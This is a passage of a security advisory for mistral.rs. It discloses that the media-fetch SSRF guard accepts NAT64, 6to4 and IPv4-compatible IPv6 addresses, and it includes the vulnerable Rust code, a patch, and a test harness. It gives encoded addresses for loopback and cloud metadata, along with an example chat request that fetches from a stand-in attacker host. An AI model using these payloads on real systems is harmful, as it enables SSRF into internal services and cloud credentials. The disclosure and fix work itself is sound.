| Description | Media-fetch SSRF guard bypass via IPv6 transition addresses (NAT64/6to4/IPv4-compatible)
## Summary
The media-fetch SSRF guard added in `mistralrs-server-core/src/media_source.rs`
(the fix for GHSA-wfgq-w7cq-qj7j) rejects private, loopback, link-local and
reserved destinations, and unwraps IPv4-mapped IPv6 addresses before
classifying them. It does not unwrap the other IPv6 forms that embed an IPv4
address: NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`), 6to4 (`2002::/16`), and
IPv4-compatible (`::/96`). An address such as `64:ff9b::a9fe:a9fe` (NAT64 for
`x.x.x.x`) is classified as a global address and allowed. On a
deployment with NAT64/DNS64 or 6to4 egress, an unauthenticated client of the
default vision/audio server can supply a media URL whose host resolves to one
of these addresses and reach loopback services, link-local cloud metadata, and
other internal IPv4 targets, re-opening the SSRF the advisory closed for the
plain-IPv4 case.
## Details
`is_global_ip` classifies a resolved destination address:
```rust
fn is_global_ip(ip: IpAddr) -> bool {
match ip {
IpAddr::V4(ip) => is_global_ipv4(ip),
IpAddr::V6(ip) => {
if let Some(ip) = ip.to_ipv4_mapped() {
return is_global_ipv4(ip);
}
is_global_ipv6(ip)
}
}
}
```
`Ipv6Addr::to_ipv4_mapped()` returns `Some` only for the IPv4-mapped range
`::ffff:0:0/96`. For every other IPv6 form that carries an IPv4 address it
returns `None`, so the address falls through to `is_global_ipv6`:
```rust
fn is_global_ipv6(ip: Ipv6Addr) -> bool {
let segments = ip.segments();
!(ip.is_loopback()
|| ip.is_unspecified()
|| ip.is_unique_local()
|| ip.is_unicast_link_local()
|| ip.is_multicast()
|| segments[0] == 0x2001 && segments[1] == 0x0db8)
}
```
`is_global_ipv6` never inspects the embedded IPv4, so:
- `64:ff9b::7f00:1` (NAT64 of `127.0.0.1`) is not loopback/private/etc. as a
raw v6 address, so it is reported global.
- `64:ff9b::a9fe:a9fe` (NAT64 of `x.x.x.x`, the cloud metadata
address) is reported global.
- `2002:7f00:1::` (6to4 of `127.0.0.1`) and `2002:a9fe:a9fe::` (6to4 of
`x.x.x.x`) are reported global.
- `::7f00:1` (IPv4-compatible of `127.0.0.1`) is reported global.
`validate_remote_url` resolves the request host and calls
`reject_private_ip(addr.ip())` for each resolved address, then pins the
connection to the validated address with `resolve_to_addrs`. Because the
classifier accepts the transition addresses, the guard permits the fetch and
pins to the transition address. On a host with a NAT64/6to4 gateway, the
kernel forwards that connection to the embedded IPv4 target (loopback,
link-local metadata, or any internal IPv4), giving a blind SSRF plus the
file-type/existence and internal-service reconnaissance primitives described
in GHSA-wfgq-w7cq-qj7j, for image, audio and video sources alike (all three
route through `load_media_source` with `MediaSourcePolicy::ServerRequest`).
The vector is a hostname, not a bracketed literal: `url::Url::host_str()`
returns an IPv6 literal with its brackets, which fails the resolver, but a
normal hostname whose AAAA record is a transition address resolves cleanly.
DNS64 resolvers on a NAT64 network synthesize exactly these AAAA records for
any name, and an attacker can also publish such an AAAA for a name they
control.
## Proof of Concept
The guard is self-contained `std::net` + `url` logic. The following harness
copies `is_global_ip`, `is_global_ipv4` and `is_global_ipv6` verbatim from
`media_source.rs` (shipped `master`, d5ae0f1) and exercises them over the
transition encodings. The `_fixed` variant is the proposed patch.
`Cargo.toml`:
```toml
[package]
name = "ssrf_harness"
version = "0.0.0"
edition = "2021"
[dependencies]
url = "2"
```
`src/lib.rs`:
```rust
use std::net::{IpAddr, Ipv4Addr, Ipv6Addr};
// ---- verbatim from media_source.rs (shipped guard) ----
pub fn is_global_ip_vuln(ip: IpAddr) -> bool {
match ip {
IpAddr::V4(ip) => is_global_ipv4(ip),
IpAddr::V6(ip) => {
if let Some(ip) = ip.to_ipv4_mapped() {
return is_global_ipv4(ip);
}
is_global_ipv6_vuln(ip)
}
}
}
fn is_global_ipv4(ip: Ipv4Addr) -> bool {
let octets = ip.octets();
!(ip.is_private()
|| ip.is_loopback()
|| ip.is_link_local()
|| ip.is_broadcast()
|| ip.is_unspecified()
|| ip.is_multicast()
|| matches!(octets, [100, 64..=127, _, _])
|| matches!(octets, [192, 0, 0, _])
|| matches!(octets, [192, 0, 2, _])
|| matches!(octets, [198, 18 | 19, _, _])
|| matches!(octets, [198, 51, 100, _])
|| matches!(octets, [203, 0, 113, _])
|| octets[0] >= 240)
}
fn is_global_ipv6_vuln(ip: Ipv6Addr) -> bool {
let segments = ip.segments();
!(ip.is_loopback()
|| ip.is_unspecified()
|| ip.is_unique_local()
|| ip.is_unicast_link_local()
|| ip.is_multicast()
|| segments[0] == 0x2001 && segments[1] == 0x0db8)
}
// ---- proposed fix: unwrap the embedded IPv4 first ----
pub fn is_global_ip_fixed(ip: IpAddr) -> bool {
match ip {
IpAddr::V4(ip) => is_global_ipv4(ip),
IpAddr::V6(ip) => {
if let Some(v4) = embedded_ipv4(ip) {
return is_global_ipv4(v4);
}
is_global_ipv6_vuln(ip)
}
}
}
fn embedded_ipv4(ip: Ipv6Addr) -> Option<Ipv4Addr> {
if let Some(v4) = ip.to_ipv4_mapped() {
return Some(v4);
}
let segs = ip.segments();
if segs[0] == 0x2002 {
return Some(Ipv4Addr::new(
(segs[1] >> 8) as u8,
(segs[1] & 0xff) as u8,
(segs[2] >> 8) as u8,
(segs[2] & 0xff) as u8,
));
}
let is_nat64 = (segs[0] == 0x0064 && segs[1] == 0xff9b && segs[2] == 0
&& segs[3] == 0 && segs[4] == 0 && segs[5] == 0)
|| (segs[0] == 0x0064 && segs[1] == 0xff9b && segs[2] == 0x0001);
let is_ipv4_compat = segs[0] == 0 && segs[1] == 0 && segs[2] == 0
&& segs[3] == 0 && segs[4] == 0 && segs[5] == 0
&& !(segs[6] == 0 && (segs[7] == 0 || segs[7] == 1));
if is_nat64 || is_ipv4_compat {
let low = (u32::from(segs[6]) << 16) | u32::from(segs[7]);
return Some(Ipv4Addr::from(low));
}
None
}
#[cfg(test)]
mod tests {
use super::*;
const INTERNAL: [&str; 6] = [
"64:ff9b::7f00:1", // NAT64 of 127.0.0.1
"64:ff9b::a9fe:a9fe", // NAT64 of x.x.x.x (cloud metadata)
"64:ff9b:1::a9fe:a9fe", // NAT64 /48 variant
"2002:7f00:1::", // 6to4 of 127.0.0.1
"2002:a9fe:a9fe::", // 6to4 of x.x.x.x
"::7f00:1", // IPv4-compatible of 127.0.0.1
];
#[test]
fn shipped_guard_allows_transition_wrapped_internal_ipv4() {
for s in INTERNAL {
let ip: IpAddr = s.parse().unwrap();
assert!(is_global_ip_vuln(ip), "shipped guard allows {s}");
}
}
#[test]
fn fixed_guard_blocks_transition_wrapped_internal_ipv4() {
for s in INTERNAL {
let ip: IpAddr = s.parse().unwrap();
assert!(!is_global_ip_fixed(ip), "fixed guard blocks {s}");
}
}
#[test]
fn fixed_guard_keeps_public_ipv4_and_native_v6() {
for s in ["2002:808:808::", "64:ff9b::101:101"] {
let ip: IpAddr = s.parse().unwrap();
assert!(is_global_ip_fixed(ip), "public stays global {s}");
}
let cf: IpAddr = "2606:4700:4700::1111".parse().unwrap();
assert!(is_global_ip_vuln(cf) && is_global_ip_fixed(cf));
}
}
```
Result: `shipped_guard_allows_transition_wrapped_internal_ipv4` passes (the
shipped classifier reports every internal target as global, i.e. allowed);
`fixed_guard_blocks_transition_wrapped_internal_ipv4` passes with the fix
applied; `fixed_guard_keeps_public_ipv4_and_native_v6` confirms the fix does
not over-block transition-wrapped public IPv4 or native global IPv6.
End-to-end request shape against a default vision deployment on a NAT64/DNS64
network, where `media.attacker.example` has an AAAA of `64:ff9b::a9fe:a9fe`:
```
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"http://media.attacker.example/x"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
```
`validate_remote_url` resolves the host to `64:ff9b::a9fe:a9fe`, classifies it
as global, pins the connection to it, and the NAT64 gateway forwards to
`x.x.x.x`.
## Impact
An unauthenticated client of a default vision/audio deployment on a
NAT64/DNS64 or 6to4 network can bypass the media-fetch SSRF guard for
internal IPv4 targets by using a host that resolves to a transition address.
The consequences match GHSA-wfgq-w7cq-qj7j for the plain-IPv4 case: blind SSRF
egress to loopback and int |
|---|